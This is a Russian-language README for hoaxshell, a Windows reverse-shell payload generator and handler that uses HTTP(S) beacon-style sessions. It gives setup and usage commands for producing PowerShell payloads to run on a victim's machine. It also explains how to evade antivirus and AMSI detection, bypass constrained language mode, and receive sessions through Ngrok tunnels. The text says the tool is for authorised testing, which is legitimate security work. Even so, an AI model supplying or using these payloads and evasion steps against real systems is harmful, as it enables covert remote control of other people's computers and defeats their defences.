
Генератор и обработчик полезной нагрузки обратной оболочки для Windows, который использует протокол http(s) для установления обратной оболочки с сигнальным режимом (beacon-like).
⚠️ По состоянию на 2022-10-18 hoaxshell обнаруживается AMSI (malware-encyclopedia). Вам необходимо обфусцировать сгенерированную полезную нагрузку, чтобы использовать её. Посмотрите это видео о том, как обфусцировать вручную и обойти MS Defender:
hoaxshell — это генератор полезных нагрузок и обработчик обратной оболочки для Windows, который злоупотребляет протоколом http(s) для установления обратной оболочки по типу маяка, основанной на следующей концепции:

Эта концепция c2 (которая может быть реализована с использованием протоколов, отличных от http, или предустановленных исполняемых файлов) может использоваться для установления сессий, которые создают иллюзию наличия оболочки, но далеки от реального PTY.
HoaxShell хорошо показал себя против антивирусного ПО (смотрите таблицу AV bypass PoCs для дополнительной информации). Хотя теперь он в целом обнаруживается, сгенерированные полезные нагрузки легко обфусцировать с помощью автоматизированных инструментов или вручную.
Отказ от ответственности: Создано исключительно для тестирования и образовательных целей. НЕ запускайте полезные нагрузки, сгенерированные этим инструментом, на хостах, на тестирование которых у вас нет явного разрешения и авторизации. Вы несете ответственность за любые проблемы, которые могут возникнуть из-за использования этого инструмента.
[2022-10-11] Недавнее и отличное видео, созданное John Hammond -> youtube.com/watch?v=fgSARG82TJY
[2022-07-15] Демо оригинального релиза, сделанное мной -> youtube.com/watch?v=SEufgD5UxdU

Больше скриншотов здесь.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Важно: В целях избежания обнаружения hoaxshell автоматически генерирует случайные значения для идентификатора сессии, путей URL и имени пользовательского HTTP-заголовка, используемого в процессе, каждый раз при запуске скрипта. Сгенерированная полезная нагрузка будет работать только для того экземпляра, для которого она была создана. Используйте опцию -g, чтобы обойти это поведение и восстановить активную сессию или повторно использовать ранее сгенерированную полезную нагрузку с новым экземпляром hoaxshell.
Когда вы запускаете hoaxshell, он генерирует собственную полезную нагрузку PowerShell, которую вы можете скопировать и внедрить на жертве. По умолчанию полезная нагрузка кодируется в base64 для удобства. Если вам нужна сырая полезная нагрузка, выполните команду подсказки "rawpayload" или запустите hoaxshell с аргументом -r. После выполнения полезной нагрузки на жертве вы сможете выполнять команды PowerShell на ней.
Invoke-Expression (по умолчанию)sudo python3 hoaxshell.py -s <ваш_ip>
Используйте -x, чтобы указать имя файла .ps1 (абсолютный путь), который будет создан на машине жертвы. Перед выполнением проверьте сырую полезную нагрузку, убедитесь, что указанный вами путь корректен.
sudo python3 hoaxshell.py -s <ваш_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell использует HTTP-заголовок для передачи информации о сессии оболочки. По умолчанию заголовку присваивается случайное имя, которое может быть обнаружено AV-правилами на основе регулярных выражений. Используйте -H, чтобы указать стандартное или пользовательское имя HTTP-заголовка для избежания обнаружения.
sudo python3 hoaxshell.py -s <ваш_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <ваш_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Эта конкретная полезная нагрузка является своего рода красным флагом, так как начинается с дополнительного блока кода, который инструктирует PowerShell пропускать проверки SSL-сертификатов, что делает её подозрительной и легко обнаруживаемой, а также значительно увеличивает её длину. Не рекомендуется.
# Создание самоподписанного сертификата:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Передача cert.pem и key.pem в качестве аргументов:
sudo python3 hoaxshell.py -s <ваш_ip> -c </путь/к/cert.pem> -k <путь/к/key.pem>
Если у вас есть домен, используйте эту опцию для генерации более короткой и менее обнаруживаемой https-полезной нагрузки, указав ваше доменное имя с помощью -s вместе с доверенным сертификатом (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <ваш.домен.com> -t -c </путь/к/cert.pem> -k <путь/к/key.pem>
Если вы случайно закрыли терминал, произошло отключение электроэнергии или что-то подобное, вы можете запустить hoaxshell в режиме захвата сессии; он попытается восстановить сессию, при условии, что полезная нагрузка всё ещё выполняется на машине жертвы.
sudo python3 hoaxshell.py -s <ваш_ip> -g
Важно: Убедитесь, что вы запускаете hoaxshell с теми же настройками, что и сессия, которую вы пытаетесь восстановить (http/https, порт и т.д.).
Используйте любую вариацию полезной нагрузки с опцией -cm (--constraint-mode), чтобы сгенерировать полезную нагрузку, которая работает, даже если жертва настроена на выполнение PS в режиме ограниченного языка. Используя эту опцию, вы жертвуете небольшой точностью декодирования stdout вашей обратной оболочки.
sudo python3 hoaxshell.py -s <ваш_ip> -cm

Используйте туннелирующие программы Ngrok или LocalTunnel для получения сессий через безопасные туннели, преодолевая такие проблемы, как отсутствие статического IP-адреса или запрет проброса портов вашим интернет-провайдером.
Используйте -ng или --ngrok для сервера Ngrok
sudo python3 hoaxshell.py -ng